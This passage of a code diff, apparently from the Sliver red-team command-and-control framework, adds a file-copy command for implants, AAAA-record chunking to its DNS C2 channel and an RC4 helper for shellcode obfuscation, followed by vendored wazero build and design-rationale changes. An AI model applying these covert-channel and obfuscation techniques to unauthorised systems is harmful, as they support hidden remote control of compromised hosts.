Handler: _SliverRPC_Mv_Handler,
},
{
MethodName: "Cp",
Handler: _SliverRPC_Cp_Handler,
},
{
MethodName: "Rm",
Handler: _SliverRPC_Rm_Handler,
+12 -1
View File
@@ -332,7 +332,13 @@ const (
MsgListWasmExtensionsReq
MsgListWasmExtensions
MsgExecWasmExtensionReq
MsgExecWasmExtension
MsgExecWasmExtension
// MsgCpReq - Request to copy a file from one place to another
MsgCpReq
// MsgCp - Confirms the success/failure, as well as the total number of bytes
// written of the cp request (resp to MsgCpReq)
MsgCp
)
// Constants to replace enums
@@ -540,6 +546,11 @@ func MsgNumber(request proto.Message) uint32 {
case *Mv:
return MsgMv
case *CpReq:
return MsgCpReq
case *Cp:
return MsgCp
case *CurrentTokenOwnerReq:
return MsgCurrentTokenOwnerReq
case *CurrentTokenOwner:
File diff suppressed because it is too large. Load diff
+16
View File
@@ -219,6 +219,21 @@ message Mv {
commonpb.Response Response = 9;
}
message CpReq {
string Src = 1;
string Dst = 2;
commonpb.Request Request = 9;
}
message Cp {
string Src = 1;
string Dst = 2;
int64 BytesWritten = 3;
commonpb.Response Response = 9;
}
message MkdirReq {
string Path = 1;
@@ -259,6 +274,7 @@ message UploadReq {
string Encoder = 2;
bytes Data = 3;
bool IsIOC = 4;
string FileName = 5;
commonpb.Request Request = 9;
}
+3 -3
View File
@@ -142,7 +142,7 @@ func setupGo(appDir string) error {
os.MkdirAll(goRootPath, 0700)
// Go compiler and stdlib
goZipFSPath := filepath.Join("fs", runtime.GOOS, runtime.GOARCH, "go.zip")
goZipFSPath := path.Join("fs", runtime.GOOS, runtime.GOARCH, "go.zip")
goZip, err := assetsFs.ReadFile(goZipFSPath)
if err != nil {
setupLog.Errorf("static asset not found: %s", goZipFSPath)
@@ -176,7 +176,7 @@ func setupGo(appDir string) error {
if runtime.GOOS == "windows" {
garbleFileName = "garble.exe"
}
garbleAssetPath := filepath.Join("fs", runtime.GOOS, runtime.GOARCH, garbleFileName)
garbleAssetPath := path.Join("fs", runtime.GOOS, runtime.GOARCH, garbleFileName)
garbleFile, err := assetsFs.ReadFile(garbleAssetPath)
if err != nil {
setupLog.Errorf("Static asset not found: %s", garbleFile)
@@ -194,7 +194,7 @@ func setupGo(appDir string) error {
func setupSGN(appDir string) error {
goBinPath := filepath.Join(appDir, "go", "bin")
sgnZipFSPath := filepath.Join("fs", runtime.GOOS, runtime.GOARCH, "sgn.zip")
sgnZipFSPath := path.Join("fs", runtime.GOOS, runtime.GOARCH, "sgn.zip")
sgnZip, err := assetsFs.ReadFile(sgnZipFSPath)
if err != nil {
setupLog.Errorf("static asset not found: %s", sgnZipFSPath)
+111 -14
View File
@@ -74,6 +74,8 @@ var (
implantBase64 = encoders.Base64{} // Implant's version of base64 with custom alphabet
ErrInvalidMsg = errors.New("invalid dns message")
ErrNoOutgoingMessages = errors.New("no outgoing messages")
ErrMsgTooLong = errors.New("too much data to encode")
ErrMsgTooShort = errors.New("too little data to encode")
)
// StartDNSListener - Start a DNS listener
@@ -102,6 +104,7 @@ type DNSSession struct {
ImplantConn *core.ImplantConnection
CipherCtx *cryptography.CipherContext
dnsIdMsgIdMap map[uint32]uint32
outgoingMsgIDs []uint32
outgoingBuffers map[uint32][]byte
outgoingMutex *sync.RWMutex
@@ -122,13 +125,15 @@ func (s *DNSSession) nextMsgID() uint32 {
// StageOutgoingEnvelope - Stage an outgoing envelope
func (s *DNSSession) StageOutgoingEnvelope(envelope *sliverpb.Envelope) error {
// dnsLog.Debugf("Staging outgoing envelope %v", envelope)
dnsLog.Debugf("Staging outgoing envelope %v", envelope)
plaintext, err := proto.Marshal(envelope)
if err != nil {
dnsLog.Errorf("[dns] failed to marshal outgoing message %s", err)
return err
}
ciphertext, err := s.CipherCtx.Encrypt(plaintext)
if err != nil {
dnsLog.Errorf("[dns] failed to encrypt outgoing message %s", err)
return err
}
@@ -143,7 +148,7 @@ func (s *DNSSession) StageOutgoingEnvelope(envelope *sliverpb.Envelope) error {
// PopOutgoingMsgID - Pop the next outgoing message ID, FIFO
// returns msgID, len, err
func (s *DNSSession) PopOutgoingMsgID() (uint32, uint32, error) {
func (s *DNSSession) PopOutgoingMsgID(msg *dnspb.DNSMessage) (uint32, uint32, error) {
s.outgoingMutex.Lock()
defer s.outgoingMutex.Unlock()
if len(s.outgoingMsgIDs) == 0 {
@@ -155,6 +160,8 @@ func (s *DNSSession) PopOutgoingMsgID() (uint32, uint32, error) {
if !ok {
return 0, 0, errors.New("no buffer for msg id")
}
//Necessary for any race conditions for resolvers that send out multiple identical requests
s.dnsIdMsgIdMap[msg.ID] = msgID
return msgID, uint32(len(ciphertext)), nil
}
@@ -464,6 +471,7 @@ func (s *SliverDNSServer) handleHello(domain string, msg *dnspb.DNSMessage, req
dnsLog.Debugf("[dns] Assigned new dns session id = %d", dnsSessionID&sessionIDBitMask)
s.sessions.Store(dnsSessionID&sessionIDBitMask, &DNSSession{
ID: dnsSessionID & sessionIDBitMask,
dnsIdMsgIdMap: map[uint32]uint32{},
outgoingMsgIDs: []uint32{},
outgoingBuffers: map[uint32][]byte{},
outgoingMutex: &sync.RWMutex{},
@@ -545,6 +553,23 @@ func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMess
resp.Authoritative = true
for _, q := range req.Question {
switch q.Qtype {
case dns.TypeAAAA:
chunks := splitToChunks(respData, 16)
msg_len := len(respData)
dnsLog.Infof("[dns] msg length: %d)", msg_len)
for i, chunk := range chunks {
ttl := uint32(msg_len)
chunkIdx := uint32(i) << 8
ttl = ttl ^ chunkIdx
a_record := &dns.AAAA{
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeAAAA, Class: dns.ClassINET, Ttl: ttl},
AAAA: chunk,
}
resp.Answer = append(resp.Answer, a_record)
}
case dns.TypeTXT:
rawTxt, _ := implantBase64.Encode(respData)
respTxt := string(rawTxt)
@@ -571,26 +596,60 @@ func (s *SliverDNSServer) handlePoll(domain string, msg *dnspb.DNSMessage, check
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
dnsSession := loadSession.(*DNSSession)
msgID, msgLen, err := dnsSession.PopOutgoingMsgID()
if err != nil && err != ErrNoOutgoingMessages {
dnsLog.Errorf("[poll] error popping outgoing msg id: %s", err)
return s.refusedErrorResp(req)
msgID, msgLen, err := dnsSession.PopOutgoingMsgID(msg)
if err != nil {
if err != ErrNoOutgoingMessages {
dnsLog.Errorf("[poll] error popping outgoing msg id: %s", err)
return s.refusedErrorResp(req)
} else {
msgLen = 0
msgID = 0
dnsLog.Debugf("[poll] error: %s", err)
oldID, ok := dnsSession.dnsIdMsgIdMap[msg.ID]
if !ok {
dnsLog.Debugf("[poll] no msg id for given request")
} else {
ciphertext, ok := dnsSession.outgoingBuffers[oldID]
if !ok {
dnsLog.Debugf("[poll] no msg for given id")
} else {
msgLen = uint32(len(ciphertext))
msgID = oldID
}
}
}
}
respData := []byte{}
if err == nil {
dnsLog.Debugf("[poll] manifest %d (%d bytes)", msgID, msgLen)
respData, _ = proto.Marshal(&dnspb.DNSMessage{
Type: dnspb.DNSMessageType_MANIFEST,
ID: msgID,
Size: msgLen,
})
}
dnsLog.Debugf("[poll] manifest %d (%d bytes)", msgID, msgLen)
respData, _ = proto.Marshal(&dnspb.DNSMessage{
Type: dnspb.DNSMessageType_MANIFEST,
ID: msgID,
Size: msgLen,
})
resp := new(dns.Msg)
resp.SetReply(req)
resp.Authoritative = true
for _, q := range req.Question {
switch q.Qtype {
case dns.TypeAAAA:
chunks := splitToChunks(respData, 16)
msg_len := len(respData)
dnsLog.Infof("[dns] msg length: %d)", msg_len)
for i, chunk := range chunks {
ttl := uint32(msg_len)
chunkIdx := uint32(i) << 8
ttl = ttl ^ chunkIdx
a_record := &dns.AAAA{
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeAAAA, Class: dns.ClassINET, Ttl: ttl},
AAAA: chunk,
}
resp.Answer = append(resp.Answer, a_record)
}
case dns.TypeTXT:
rawTxt, _ := implantBase64.Encode(respData)
respTxt := string(rawTxt)
@@ -609,6 +668,7 @@ func (s *SliverDNSServer) handlePoll(domain string, msg *dnspb.DNSMessage, check
resp.Answer = append(resp.Answer, txt)
}
}
return resp
}
@@ -664,6 +724,22 @@ func (s *SliverDNSServer) handleDataToImplant(domain string, msg *dnspb.DNSMessa
resp.Authoritative = true
for _, q := range req.Question {
switch q.Qtype {
case dns.TypeAAAA:
chunks := splitToChunks(respData, 16)
msg_len := len(respData)
dnsLog.Infof("[dns] msg length: %d)", msg_len)
for i, chunk := range chunks {
ttl := uint32(msg_len)
chunkIdx := uint32(i) << 8
ttl = ttl ^ chunkIdx
a_record := &dns.AAAA{
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeAAAA, Class: dns.ClassINET, Ttl: ttl},
AAAA: chunk,
}
resp.Answer = append(resp.Answer, a_record)
}
case dns.TypeTXT:
rawTxt, _ := implantBase64.Encode(respData)
respTxt := string(rawTxt)
@@ -801,3 +877,24 @@ func dnsSessionID() uint32 {
dnsSessionID := binary.LittleEndian.Uint32(randBuf)
return dnsSessionID
}
func splitToChunks(data []byte, chunkSize int) [][]byte {
var chunks [][]byte
for i := 0; i < len(data); i += chunkSize {
end := i + chunkSize
// If end is greater than the length of the data,
// adjust it to be the length of data to avoid slicing beyond.
if end > len(data) {
end = len(data)
}
chunk := make([]byte, chunkSize)
copy(chunk, data[i:end])
chunks = append(chunks, chunk)
}
return chunks
}
+7 -4
View File
@@ -40,6 +40,9 @@ import (
const (
// defaultServerCert - Default certificate name if bind is "" (all interfaces)
defaultServerCert = ""
// ServerMaxMessageSize - Server-side max GRPC message size
ServerMaxMessageSize = (2 * 1024 * 1024 * 1024) - 1
)
var (
@@ -160,27 +163,27 @@ func socketReadEnvelope(connection net.Conn) (*sliverpb.Envelope, error) {
// Read the first four bytes to determine data length
dataLengthBuf := make([]byte, 4) // Size of uint32
n, err := io.ReadFull(connection, dataLengthBuf)
if err != nil || n != 4 {
mtlsLog.Errorf("Socket error (read msg-length): %v", err)
return nil, err
}
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
if dataLength <= 0 {
if dataLength <= 0 || ServerMaxMessageSize < dataLength {
// {{if .Config.Debug}}
mtlsLog.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, errors.New("[pivot] zero data length")
return nil, errors.New("[pivot] invalid data length")
}
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(connection, dataBuf)
if err != nil || n != dataLength {
mtlsLog.Errorf("Socket error (read data): %v", err)
return nil, err
}
// Unmarshal the protobuf envelope
envelope := &sliverpb.Envelope{}
err = proto.Unmarshal(dataBuf, envelope)
+1
View File
@@ -82,6 +82,7 @@ var (
"csharp": true,
"dw": true,
"dword": true,
"exe": true,
"hex": true,
"java": true,
"js_be": true,
+10
View File
@@ -55,6 +55,16 @@ func (rpc *Server) Mv(ctx context.Context, req *sliverpb.MvReq) (*sliverpb.Mv, e
return resp, nil
}
// Cp - Copy a file to another location
func (rpc *Server) Cp(ctx context.Context, req *sliverpb.CpReq) (*sliverpb.Cp, error) {
resp := &sliverpb.Cp{Response: &commonpb.Response{}}
err := rpc.GenericHandler(req, resp)
if err != nil {
return nil, err
}
return resp, nil
}
// Rm - Remove file or directory
func (rpc *Server) Rm(ctx context.Context, req *sliverpb.RmReq) (*sliverpb.Rm, error) {
resp := &sliverpb.Rm{Response: &commonpb.Response{}}
+14
View File
@@ -22,10 +22,24 @@ import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"crypto/rc4"
"errors"
"io"
)
// RC4 encryption - Cryptographically insecure!
// Added for stage-listener shellcode obfuscation
// Dont use for anything else!
func RC4EncryptUnsafe(data []byte, key []byte) []byte {
cipher, err := rc4.NewCipher(key)
if err != nil {
return make([]byte, 0)
}
cipherText := make([]byte, len(data))
cipher.XORKeyStream(cipherText, data)
return cipherText
}
// PreludeEncrypt the results
func PreludeEncrypt(data []byte, key []byte, iv []byte) []byte {
plainText, err := pad(data, aes.BlockSize)
+7 -7
View File
@@ -1,10 +1,10 @@
gofumpt := mvdan.cc/[email protected]
gosimports := github.com/rinchsan/gosimports/cmd/[email protected]
golangci_lint := github.com/golangci/golangci-lint/cmd/[email protected]2.2
golangci_lint := github.com/golangci/golangci-lint/cmd/[email protected]3.3
asmfmt := github.com/klauspost/asmfmt/cmd/[email protected]
# sync this with netlify.toml!
hugo := github.com/gohugoio/[email protected]2.5
hugo := github.com/gohugoio/[email protected]5.2
# Make 3.81 doesn't support '**' globbing: Set explicitly instead of recursion.
all_sources := $(wildcard *.go */*.go */*/*.go */*/*/*.go */*/*/*.go */*/*/*/*.go)
@@ -53,7 +53,7 @@ build.examples.as:
build.examples.zig: examples/allocation/zig/testdata/greet.wasm imports/wasi_snapshot_preview1/example/testdata/zig/cat.wasm imports/wasi_snapshot_preview1/testdata/zig/wasi.wasm
@cd internal/testing/dwarftestdata/testdata/zig; zig build; mv zig-out/*/main.wasm ./ # Need DWARF custom sections.
tinygo_sources := examples/basic/testdata/add.go examples/allocation/tinygo/testdata/greet.go examples/cli/testdata/cli.go imports/wasi_snapshot_preview1/example/testdata/tinygo/cat.go
tinygo_sources := examples/basic/testdata/add.go examples/allocation/tinygo/testdata/greet.go examples/cli/testdata/cli.go imports/wasi_snapshot_preview1/example/testdata/tinygo/cat.go imports/wasi_snapshot_preview1/testdata/tinygo/wasi.go
.PHONY: build.examples.tinygo
build.examples.tinygo: $(tinygo_sources)
@for f in $^; do \
@@ -62,7 +62,7 @@ build.examples.tinygo: $(tinygo_sources)
# We use zig to build C as it is easy to install and embeds a copy of zig-cc.
# Note: Don't use "-Oz" as that breaks our wasi sock example.
c_sources := imports/wasi_snapshot_preview1/example/testdata/zig-cc/cat.c imports/wasi_snapshot_preview1/testdata/zig-cc/wasi.c
c_sources := imports/wasi_snapshot_preview1/example/testdata/zig-cc/cat.c imports/wasi_snapshot_preview1/testdata/zig-cc/wasi.c internal/testing/dwarftestdata/testdata/zig-cc/main.c
.PHONY: build.examples.zig-cc
build.examples.zig-cc: $(c_sources)
@for f in $^; do \
@@ -250,9 +250,9 @@ clean: ## Ensure a clean build
fuzz_timeout_seconds ?= 10
.PHONY: fuzz
fuzz:
@cd internal/integration_test/fuzz && cargo fuzz run basic -- -max_total_time=$(fuzz_timeout_seconds)
@cd internal/integration_test/fuzz && cargo fuzz run memory_no_diff -- -max_total_time=$(fuzz_timeout_seconds)
@cd internal/integration_test/fuzz && cargo fuzz run validation -- -max_total_time=$(fuzz_timeout_seconds)
@cd internal/integration_test/fuzz && cargo fuzz run basic -- -rss_limit_mb=8192 -max_total_time=$(fuzz_timeout_seconds)
@cd internal/integration_test/fuzz && cargo fuzz run memory_no_diff -- -rss_limit_mb=8192 -max_total_time=$(fuzz_timeout_seconds)
@cd internal/integration_test/fuzz && cargo fuzz run validation -- -rss_limit_mb=8192 -max_total_time=$(fuzz_timeout_seconds)
#### CLI release related ####
+384 -48
View File
@@ -414,12 +414,49 @@ In reflection, this approach worked well for the nearly 1.5 year period leading
to version 1.0. We've only had to create a single sub-configuration, `FSConfig`,
and it was well understood why when it occurred.
## Why does InstantiateModule call "_start" by default?
We formerly had functions like `StartWASICommand` that would verify preconditions and start WASI's "_start" command.
However, this caused confusion because both many languages compiled a WASI dependency, and many did so inconsistently.
## Why does `ModuleConfig.WithStartFunctions` default to `_start`?
That said, if "_start" isn't called, it causes issues in TinyGo, as it needs this in order to implement panic. To deal
with this a different way, we have a configuration to call any start functions that exist, which defaults to "_start".
We formerly had functions like `StartWASICommand` that would verify
preconditions and start WASI's `_start` command. However, this caused confusion
because both many languages compiled a WASI dependency, and many did so
inconsistently.
The conflict is that exported functions need to use features the language
runtime provides, such as garbage collection. There's a "chicken-egg problem"
where `_start` needs to complete in order for exported behavior to work.
For example, unlike `GOOS=wasip1` in Go 1.21, TinyGo's "wasi" target supports
function exports. So, the only way to use FFI style is via the "wasi" target.
Not explicitly calling `_start` before an ABI such as wapc-go, would crash, due
to setup not happening (e.g. to implement `panic`). Other embedders such as
Envoy also called `_start` for the same reason. To avoid a common problem for
users unaware of WASI, and also to simplify normal use of WASI (e.g. `main`),
we added `_start` to `ModuleConfig.WithStartFunctions`.
In cases of multiple initializers, such as in wapc-go, users can override this
to add the others *after* `_start`. Users who want to explicitly control
`_start`, such as some of our unit tests, can clear the start functions and
remove it.
This decision was made in 2022, and holds true in 2023, even with the
introduction of "wasix". It holds because "wasix" is backwards compatible with
"wasip1". In the future, there will be other ways to start applications, and
may not be backwards compatible with "wasip1".
Most notably WASI "Preview 2" is not implemented in a way compatible with
wasip1. Its start function is likely to be different, and defined in the
wasi-cli "world". When the design settles, and it is implemented by compilers,
wazero will attempt to support "wasip2". However, it won't do so in a way that
breaks existing compilers.
In other words, we won't remove `_start` if "wasip2" continues a path of an
alternate function name. If we did, we'd break existing users despite our
compatibility promise saying we don't. The most likely case is that when we
build-in something incompatible with "wasip1", that start function will be
added to the start functions list in addition to `_start`.
See http://wasix.org
See https://github.com/WebAssembly/wasi-cli
## Runtime == Engine+Store
wazero defines a single user-type which combines the specification concept of `Store` with the unspecified `Engine`
@@ -447,26 +484,26 @@ https://github.com/bytecodealliance/wasmtime/blob/v0.29.0/crates/lightbeam/src/m
## Exit
### Why do we return a `sys.ExitError` on exit code zero?
### Why do we only return a `sys.ExitError` on a non-zero exit code?
It may be surprising to find an error returned on success (exit code zero).
This can be explained easier when you think of function returns: When results
aren't empty, then you must return an error. This is trickier to explain when
results are empty, such as the case in the "_start" function in WASI.
It is reasonable to think an exit error should be returned, even if the code is
success (zero). Even on success, the module is no longer functional. For
example, function exports would error later. However, wazero does not. The only
time `sys.ExitError` is on error (non-zero).
The main rationale for returning an exit error even if the code is success is
that the module is no longer functional. For example, function exports would
error later. In cases like these, it is better to handle errors where they
occur.
This decision was to improve performance and ergonomics for guests that both
use WASI (have a `_start` function), and also allow custom exports.
Specifically, Rust, TinyGo and normal wasi-libc, don't exit the module during
`_start`. If they did, it would invalidate their function exports. This means
it is unlikely most compilers will change this behavior.
Luckily, it is not common to exit a module during the "_start" function. For
example, the only known compilation target that does this is Emscripten. Most,
such as Rust, TinyGo, or normal wasi-libc, don't. If they did, it would
invalidate their function exports. This means it is unlikely most compilers
will change this behavior.
`GOOS=waspi1` from Go 1.21 does exit during `_start`. However, it doesn't
support other exports besides `_start`, and `_start` is not defined to be
called multiple times anyway.
In summary, we return a `sys.ExitError` to the caller whenever we get it, as it
properly reflects the state of the module, which would be closed on this error.
Since `sys.ExitError` is not always returned, we added `Module.IsClosed` for
defensive checks. This helps integrators avoid calling functions which will
always fail.
### Why panic with `sys.ExitError` after a host function exits?
@@ -531,7 +568,7 @@ In short, wazero defined system configuration in `ModuleConfig`, not a WASI type
one spec to another with minimal impact. This has other helpful benefits, as centralized resources are simpler to close
coherently (ex via `Module.Close`).
In reflection, this worked well as more ABI became usable in wazero. For example, `GOARCH=wasm GOOS=js` code uses the
In reflection, this worked well as more ABI became usable in wazero. For example, `GOOS=js GOARCH=wasm` code uses the
same `ModuleConfig` (and `FSConfig`) WASI uses, and in compatible ways.
### Background on `ModuleConfig` design
@@ -664,7 +701,7 @@ WASI is an abstraction over syscalls. For example, the signature of `fs.Open`
does not permit use of flags. This creates conflict on what default behaviors
to take when Go implemented `os.DirFS`. On the other hand, `path_open` can pass
flags, and in fact tests require them to be honored in specific ways. This
extends beyond WASI as even `GOARCH=wasm GOOS=js` compiled code requires
extends beyond WASI as even `GOOS=js GOARCH=wasm` compiled code requires
certain flags passed to `os.OpenFile` which are impossible to pass due to the
signature of `fs.FS`.
@@ -681,7 +718,61 @@ these to be easier to close.
See https://github.com/WebAssembly/wasi-testsuite
See https://github.com/golang/go/issues/58141
### fd_pread: io.Seeker fallback when io.ReaderAt is not supported
## Why is our `Readdir` function more like Go's `os.File` than POSIX `readdir`?
At one point we attempted to move from a bulk `Readdir` function to something
more like the POSIX `DIR` struct, exposing functions like `telldir`, `seekdir`
and `readdir`. However, we chose the design more like `os.File.Readdir`,
because it performs and fits wasip1 better.
### wasip1/wasix
`fd_readdir` in wasip1 (and so also wasix) is like `getdents` in Linux, not
`readdir` in POSIX. `getdents` is more like Go's `os.File.Readdir`.
We currently have an internal type `sys.DirentCache` which only is used by
wasip1 or wasix. When `HostModuleBuilder` adds support for instantiation state,
we could move this to the `wasi_snapshot_preview1` package. Meanwhile, all
filesystem code is internal anyway, so this special-case is acceptable.
### wasip2
`directory-entry-stream` in wasi-filesystem preview2 is defined in component
model, not an ABI, but in wasmtime it is a consuming iterator. A consuming
iterator is easy to support with anything (like `Readdir(1)`), even if it is
inefficient as you can neither bulk read nor skip. The implementation of the
preview1 adapter (uses preview2) confirms this. They use a dirent cache similar
in some ways to our `sysfs.DirentCache`. As there is no seek concept in
preview2, they interpret the cookie as numeric and read on repeat entries when
a cache wasn't available. Note: we currently do not skip-read like this as it
risks buffering large directories, and no user has requested entries before the
cache, yet.
Regardless, wasip2 is not complete until the end of 2023. We can defer design
discussion until after it is stable and after the reference impl wasmtime
implements it.
See
* https://github.com/WebAssembly/wasi-filesystem/blob/ef9fc87c07323a6827632edeb6a7388b31266c8e/example-world.md#directory_entry_stream
* https://github.com/bytecodealliance/wasmtime/blob/b741f7c79d72492d17ab8a29c8ffe4687715938e/crates/wasi/src/preview2/preview2/filesystem.rs#L286-L296
* https://github.com/bytecodealliance/preview2-prototyping/blob/e4c04bcfbd11c42c27c28984948d501a3e168121/crates/wasi-preview1-component-adapter/src/lib.rs#L2131-L2137
* https://github.com/bytecodealliance/preview2-prototyping/blob/e4c04bcfbd11c42c27c28984948d501a3e168121/crates/wasi-preview1-component-adapter/src/lib.rs#L936
### wasip3
`directory-entry-stream` is documented to change significantly in wasip3 moving
from synchronous to synchronous streams. This is dramatically different than
POSIX `readdir` which is synchronous.
Regardless, wasip3 is not complete until after wasip2, which means 2024 or
later. We can defer design discussion until after it is stable and after the
reference impl wasmtime implements it.
See
* https://github.com/WebAssembly/WASI/blob/ddfe3d1dda5d1473f37ecebc552ae20ce5fd319a/docs/WitInWasi.md#Streams
* https://docs.google.com/presentation/d/1MNVOZ8hdofO3tI0szg_i-Yoy0N2QPU2C--LzVuoGSlE/edit#slide=id.g1270ef7d5b6_0_662
### How do we implement `Pread` with an `fs.File`?
`ReadAt` is the Go equivalent to `pread`: it does not affect, and is not
affected by, the underlying file offset. Unfortunately, `io.ReaderAt` is not
@@ -729,7 +820,7 @@ third `path_len` has ambiguous semantics.
`path` offset for the exact length of `path_len`.
Wasmer considers `path_len` to be the maximum length instead of the exact
length that should be written.
length that should be written.
See https://github.com/wasmerio/wasmer/blob/3463c51268ed551933392a4063bd4f8e7498b0f6/lib/wasi/src/syscalls/mod.rs#L764
The semantics in wazero follows that of wasmtime.
@@ -738,11 +829,84 @@ See https://github.com/bytecodealliance/wasmtime/blob/2ca01ae9478f199337cf743a6a
Their semantics match when `path_len` == the length of `path`, so in practice
this difference won't matter match.
## Why does fd_readdir not include dot (".") and dot-dot ("..") entries?
## fd_readdir
When reading a directory, wazero code does not return dot (".") and dot-dot
("..") entries. The main reason is that Go does not return them from
`os.ReadDir`, and materializing them is complicated (at least dot-dot is).
### Why does "wasi_snapshot_preview1" require dot entries when POSIX does not?
In October 2019, WASI project knew requiring dot entries ("." and "..") was not
documented in preview1, not required by POSIX and problematic to synthesize.
For example, Windows runtimes backed by `FindNextFileW` could not return these.
A year later, the tag representing WASI preview 1 (`snapshot-01`) was made.
This did not include the requested change of making dot entries optional.
The `phases/snapshot/docs.md` document was altered in subsequent years in
significant ways, often in lock-step with wasmtime or wasi-libc. In January
2022, `sock_accept` was added to `phases/snapshot/docs.md`, a document later
renamed to later renamed to `legacy/preview1/docs.md`.
As a result, the ABI and behavior remained unstable: The `snapshot-01` tag was
not an effective basis of portability. A test suite was requested well before
this tag, in April 2019. Meanwhile, compliance had no meaning. Developers had
to track changes to the latest doc, while clarifying with wasi-libc or wasmtime
behavior. This lack of stability could have permitted a fix to the dot entries
problem, just as it permitted changes desired by other users.
In November 2022, the wasi-testsuite project began and started solidifying
expectations. This quickly led to changes in runtimes and the spec doc. WASI
began importing tests from wasmtime as required behaviors for all runtimes.
Some changes implied changes to wasi-libc. For example, `readdir` began to
imply inode fan-outs, which caused performance regressions. Most notably a
test merged in January required dot entries. Tests were merged without running
against any runtime, and even when run ad-hoc only against Linux. Hence,
portability issues mentioned over three years earlier did not trigger any
failure until wazero (which tests Windows) noticed.
In the same month, wazero requested to revert this change primarily because
Go does not return them from `os.ReadDir`, and materializing them is
complicated due to tests also requiring inodes. Moreover, they are discarded by
not just Go, but other common programming languages. This was rejected by the
WASI lead for preview1, but considered for the completely different ABI named
preview2.
In February 2023, the WASI chair declared that new rule requiring preview1 to
return dot entries "was decided by the subgroup as a whole", citing meeting
notes. According to these notes, the WASI lead stated incorrectly that POSIX
conformance required returning dot entries, something it explicitly says are
optional. In other words, he said filtering them out would make Preview1
non-conforming, and asked if anyone objects to this. The co-chair was noted to
say "Because there are existing P1 programs, we shouldn’t make changes like
this." No other were recorded to say anything.
In summary, preview1 was changed retrospectively to require dot entries and
preview2 was changed to require their absence. This rule was reverse engineered
from wasmtime tests, and affirmed on two false premises:
* POSIX compliance requires dot entries
* POSIX literally says these are optional
* WASI cannot make changes because there are existing P1 programs.
* Changes to Preview 1 happened before and after this topic.
As of June 2023, wasi-testsuite still only runs on Linux, so compliance of this
rule on Windows is left to runtimes to decide to validate. The preview2 adapter
uses fake cookies zero and one to refer to dot dirents, uses a real inode for
the dot(".") entry and zero inode for dot-dot("..").
See https://github.com/WebAssembly/wasi-filesystem/issues/3
See https://github.com/WebAssembly/WASI/tree/snapshot-01
See https://github.com/WebAssembly/WASI/issues/9
See https://github.com/WebAssembly/WASI/pull/458
See https://github.com/WebAssembly/wasi-testsuite/pull/32
See https://github.com/WebAssembly/wasi-libc/pull/345
See https://github.com/WebAssembly/wasi-testsuite/issues/52
See https://github.com/WebAssembly/WASI/pull/516
See https://github.com/WebAssembly/meetings/blob/main/wasi/2023/WASI-02-09.md#should-preview1-fd_readdir-filter-out--and-
See https://github.com/bytecodealliance/preview2-prototyping/blob/e4c04bcfbd11c42c27c28984948d501a3e168121/crates/wasi-preview1-component-adapter/src/lib.rs#L1026-L1041
### Why are dot (".") and dot-dot ("..") entries problematic?
When reading a directory, dot (".") and dot-dot ("..") entries are problematic.
For example, Go does not return them from `os.ReadDir`, and materializing them
is complicated (at least dot-dot is).
A directory entry has stat information in it. The stat information includes
inode which is used for comparing file equivalence. In the simple case of dot,
@@ -758,7 +922,19 @@ well, such as the decision to not return ".." from a root path. In any case,
this should start to explain that faking entries when underlying stdlib doesn't
return them is tricky and requires quite a lot of state.
Even if we did that, it would cause expense to all users of wazero, so we'd
Another issue is around the `Dirent.Off` value of a directory entry, sometimes
called a "cookie" in Linux man pagers. When the host operating system or
library function does not return dot entries, to support functions such as
`seekdir`, you still need a value for `Dirent.Off`. Naively, you can synthesize
these by choosing sequential offsets zero and one. However, POSIX strictly says
offsets should be treated opaquely. The backing filesystem could use these to
represent real entries. For example, a directory with one entry could use zero
as the `Dirent.Off` value. If you also used zero for the "." dirent, there
would be a clash. This means if you synthesize `Dirent.Off` for any entry, you
need to synthesize this value for all entries. In practice, the simplest way is
using an incrementing number, such as done in the WASI preview2 adapter.
Working around these issues causes expense to all users of wazero, so we'd
then look to see if that would be justified or not. However, the most common
compilers involved in end user questions, as of early 2023 are TinyGo, Rust and
Zig. All of these compile code which ignores dot and dot-dot entries. In other
@@ -773,12 +949,100 @@ which summarizes to "these are optional"
> The readdir() function shall not return directory entries containing empty names. If entries for dot or dot-dot exist, one entry shall be returned for dot and one entry shall be returned for dot-dot; otherwise, they shall not be returned.
In summary, wazero not only doesn't return dot and dot-dot entries because Go
doesn't and emulating them in spite of that would result in no difference
except hire overhead to the majority of our users.
Unfortunately, as described above, the WASI project decided in early 2023 to
require dot entries in both the spec and the wasi-testsuite. For only this
reason, wazero adds overhead to synthesize dot entries despite it being
unnecessary for most users.
See https://pubs.opengroup.org/onlinepubs/9699919799/functions/readdir.html
See https://github.com/golang/go/blob/go1.20/src/os/dir_unix.go#L108-L110
See https://github.com/bytecodealliance/preview2-prototyping/blob/e4c04bcfbd11c42c27c28984948d501a3e168121/crates/wasi-preview1-component-adapter/src/lib.rs#L1026-L1041
### Why don't we pre-populate an inode for the dot-dot ("..") entry?
We only populate an inode for dot (".") because wasi-testsuite requires it, and
we likely already have it (because we cache it). We could attempt to populate
one for dot-dot (".."), but chose not to.
Firstly, wasi-testsuite does not require the inode of dot-dot, possibly because
the wasip2 adapter doesn't populate it (but we don't really know why).
The only other reason to populate it would be to avoid wasi-libc's stat fanout
when it is missing. However, wasi-libc explicitly doesn't fan-out to lstat on
the ".." entry on a zero ino.
Fetching dot-dot's inode despite the above not only doesn't help wasi-libc, but
it also hurts languages that don't use it, such as Go. These languages would
pay a stat syscall penalty even if they don't need the inode. In fact, Go
discards both dot entries!
In summary, there are no significant upsides in attempting to pre-fetch
dot-dot's inode, and there are downsides to doing it anyway.
See
* https://github.com/WebAssembly/wasi-libc/blob/bd950eb128bff337153de217b11270f948d04bb4/libc-bottom-half/cloudlibc/src/libc/dirent/readdir.c#L87-L94
* https://github.com/WebAssembly/wasi-testsuite/blob/main/tests/rust/src/bin/fd_readdir.rs#L108
* https://github.com/bytecodealliance/preview2-prototyping/blob/e4c04bcfbd11c42c27c28984948d501a3e168121/crates/wasi-preview1-component-adapter/src/lib.rs#L1037
### Why don't we require inodes to be non-zero?
We don't require a non-zero value for `Dirent.Ino` because doing so can prevent
